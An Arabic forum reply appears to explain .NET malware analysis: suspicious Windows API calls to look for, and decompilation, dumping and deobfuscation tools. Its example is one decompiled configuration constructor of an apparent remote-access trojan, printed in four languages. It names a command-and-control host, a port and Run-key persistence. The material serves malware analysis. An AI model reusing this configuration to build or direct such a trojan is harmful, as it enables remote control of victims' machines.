اهلا بصديقى العزيز سليم
للاسف شرح الفديو لن يفيد كثيرا
خصوصا انه سنطبق على هذا الملف فقط ولا يمكن الاستفاده منه فى ملفات اخرى
حيث ان لكل ملف تختلف طريقته عن الاخر
طريقه ميدو تحديدا فى استخراج البيانات تحتاج الى بعض الاحترافيه قليلا للتعامل مع دوال الملف
كل ما عليك فعله هو البحث جيدا اين يبدا استدعاء الملف وتضع نقاط توقف عندها
وكما ذكرت تنطبق فقط على هذا الملف لان كل ملف وله طريقته فى الفك
فى مجال تحليل الملفات الخبيثه وخلينى لا اعمم وساذكر فقط على ملفات الدوت نت توقع اى شى مما يصنع الملف
فلا يمكن دائما تنفيذ نفس الطريقه المتبعه فى التحليل على كل ملفات الدوت نت لانها تختلف باختالاف صانعها
اهم شى يكون عندك الاساسيات وتفكر مثلما يفكر برنامج الحمايه كيف ذلك ؟؟!!
برامج الحمايه تستخدم خوارزميات تقوم بالكشف على الدوال المختلفه للملف وتحدد سلوكه من الدوال والمكتبات التى يستدعيها
لذلك عليك انت ايضا ان تقوم بذلك بالنظر الى الدوال التى يسدعيها الملف
جميع الدوال التى تبحث عنها ساذكر لك بعضها
CreateProcess
CreateRemoteThread
DllInstall
DllRegisterServer
FindResource
FindWindow
GetTempPath
GetThreadContext
InternetReadFile
InternetWriteFile
وغيرها الكثير والكثير من الدوال ربما ستاخذ من صفحه كامله لكى اكتبها
قبل كل ذلك عليك ان تكون عندك درايه لا باس بها باللغه التى انت بصدد التحليل بها
فاغلب منقحات الدوت نت تتيح لك قرائه وترجمه الاكواد الى
IL اللغه الوسيطه / C# نفس اسلوب الدوت نت / F# لغه غير مشهور كثيره وليس لها شعبيه تقريبا / .net وهى ما بصدد امامننا الان
للعلم اغلب الدوال واحده فى كل اللغات السابقه الفكره تكمن كيف تبحث عن تلك الداله او كيف تكتب من كل لغه الى اخرى
ساعطيك مثال وانظر الى الكو باختلاف اللغات مع بعضها
لاحظ معى
.net
PHP:
Shared Sub New()
OK.VN = "SGFjS2Vk"
OK.VR = "0.7d"
OK.MT = Nothing
OK.EXE = "server.exe"
OK.DR = "TEMP"
OK.RG = "7c41d980159a97120250370cc1bfa2ad"
OK.H = "ftpopen.ddns.net"
OK.P = "1177"
OK.Y = "|'|'|"
OK.BD = Conversions.ToBoolean("False")
OK.Idr = Conversions.ToBoolean("False")
OK.IsF = Conversions.ToBoolean("False")
OK.Isu = Conversions.ToBoolean("False")
OK.LO = New FileInfo(Assembly.GetEntryAssembly.Location)
OK.F = New Computer
OK.kq = Nothing
OK.Cn = False
OK.sf = "Software\Microsoft\Windows\CurrentVersion\Run"
OK.C = Nothing
OK.MeM = New MemoryStream
OK.b = New Byte(&H1401 - 1) {}
OK.lastcap = ""
OK.PLG = Nothing
End Sub
C#
PHP:
static OK()
{
VN = "SGFjS2Vk";
VR = "0.7d";
MT = null;
EXE = "server.exe";
DR = "TEMP";
RG = "7c41d980159a97120250370cc1bfa2ad";
H = "ftpopen.ddns.net";
P = "1177";
Y = "|'|'|";
BD = Conversions.ToBoolean("False");
Idr = Conversions.ToBoolean("False");
IsF = Conversions.ToBoolean("False");
Isu = Conversions.ToBoolean("False");
LO = new FileInfo(Assembly.GetEntryAssembly().Location);
F = new Computer();
kq = null;
Cn = false;
sf = @"Software\Microsoft\Windows\CurrentVersion\Run";
C = null;
MeM = new MemoryStream();
b = new byte[0x1401];
lastcap = "";
PLG = null;
}
IL
PHP:
.method private specialname rtspecialname static void .cctor() cil managed
{
.maxstack 1
L_0000: ldstr "SGFjS2Vk"
L_0005: stsfld string j.OK::VN
L_000a: ldstr "0.7d"
L_000f: stsfld string j.OK::VR
L_0014: ldnull
L_0015: stsfld object j.OK::MT
L_001a: ldstr "server.exe"
L_001f: stsfld string j.OK::EXE
L_0024: ldstr "TEMP"
L_0029: stsfld string j.OK::DR
L_002e: ldstr "7c41d980159a97120250370cc1bfa2ad"
L_0033: stsfld string j.OK::RG
L_0038: ldstr "ftpopen.ddns.net"
L_003d: stsfld string j.OK::H
L_0042: ldstr "1177"
L_0047: stsfld string j.OK::P
L_004c: ldstr "|\'|\'|"
L_0051: stsfld string j.OK::Y
L_0056: ldstr "False"
L_005b: call bool [Microsoft.VisualBasic]Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(string)
L_0060: stsfld bool j.OK::BD
L_0065: ldstr "False"
L_006a: call bool [Microsoft.VisualBasic]Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(string)
L_006f: stsfld bool j.OK::Idr
L_0074: ldstr "False"
L_0079: call bool [Microsoft.VisualBasic]Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(string)
L_007e: stsfld bool j.OK::IsF
L_0083: ldstr "False"
L_0088: call bool [Microsoft.VisualBasic]Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(string)
L_008d: stsfld bool j.OK::Isu
L_0092: call class [mscorlib]System.Reflection.Assembly [mscorlib]System.Reflection.Assembly::GetEntryAssembly()
L_0097: callvirt instance string [mscorlib]System.Reflection.Assembly::get_Location()
L_009c: newobj instance void [mscorlib]System.IO.FileInfo::.ctor(string)
L_00a1: stsfld class [mscorlib]System.IO.FileInfo j.OK::LO
L_00a6: newobj instance void [Microsoft.VisualBasic]Microsoft.VisualBasic.Devices.Computer::.ctor()
L_00ab: stsfld class [Microsoft.VisualBasic]Microsoft.VisualBasic.Devices.Computer j.OK::F
L_00b0: ldnull
L_00b1: stsfld class j.kl j.OK::kq
L_00b6: ldc.i4.0
L_00b7: stsfld bool j.OK::Cn
L_00bc: ldstr "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
L_00c1: stsfld string j.OK::sf
L_00c6: ldnull
L_00c7: stsfld class [System]System.Net.Sockets.TcpClient j.OK::C
L_00cc: newobj instance void [mscorlib]System.IO.MemoryStream::.ctor()
L_00d1: stsfld class [mscorlib]System.IO.MemoryStream j.OK::MeM
L_00d6: ldc.i4 0x1401
L_00db: newarr uint8
L_00e0: stsfld uint8[] j.OK::b
L_00e5: ldstr ""
L_00ea: stsfld string j.OK::lastcap
L_00ef: ldnull
L_00f0: stsfld object j.OK::PLG
L_00f5: ret
}
C++
PHP:
static OK()
{
OK::VN = S"SGFjS2Vk";
OK::VR = S"0.7d";
OK::MT = 0;
OK::EXE = S"server.exe";
OK::DR = S"TEMP";
OK::RG = S"7c41d980159a97120250370cc1bfa2ad";
OK::H = S"ftpopen.ddns.net";
OK::P = S"1177";
OK::Y = S"|\'|\'|";
OK::BD = Conversions::ToBoolean(S"False");
OK::Idr = Conversions::ToBoolean(S"False");
OK::IsF = Conversions::ToBoolean(S"False");
OK::Isu = Conversions::ToBoolean(S"False");
OK::LO = __gc new FileInfo(Assembly::GetEntryAssembly()->Location);
OK::F = __gc new Computer();
OK::kq = 0;
OK::Cn = false;
OK::sf = S"Software\\Microsoft\\Windows\\CurrentVersion\\Run";
OK::C = 0;
OK::MeM = __gc new MemoryStream();
OK::b = __gc new Byte __gc*[0x1401];
OK::lastcap = S"";
OK::PLG = 0;
}
لاحظ كيف تم كتابه الكود فى كل لغه مختلفه
كنت حابب اعطيك مثال اوضح لكن ليس هناك اوضح من ذلك لانها حاله عمليه
انت تبحث دائما عن داله استدعاء ونص من نوع String لذلك يجب ان تركز دائما على الدوال التى تبحث عنها وماذا تحتاج
فالملفات الخبيثه تمتلك سلوكيات معروفه ولها دوال محدده تستخدمها
----
طريقه الفك الاخرى بعمل fulldump اظنها لا تحتاج شرح ايضا لان كل ما عليك فعله هو تشغيل الملف فى الوضع الحقيقى runtime واستخدام اداه MegaDumper
او اى اداه مشابها لها وسخرج لك الملف خام ولكن فكره الملف هذه مختلفه قليلا حيث ان من صنع الملف لم يترك البيانات مكشوفه وانما وضع عليها حمايه معززه
لذلك ستستعين باداه d4dot لازاله الحمايه الى على الملف
-----
للعلم التحليل الاستاتيكى اصعب اكثر بكثير من التحليل الديناميكى لانك ستحتاج الى ان تفهم كيف تعمل بنيه الملف
تعمق اكثر بالقرائه عن بنيه الملف PE ولا تنسى التركيز على لغه برمجيه لانها ستفيدك بشكل كبير جدا
بالتوفيق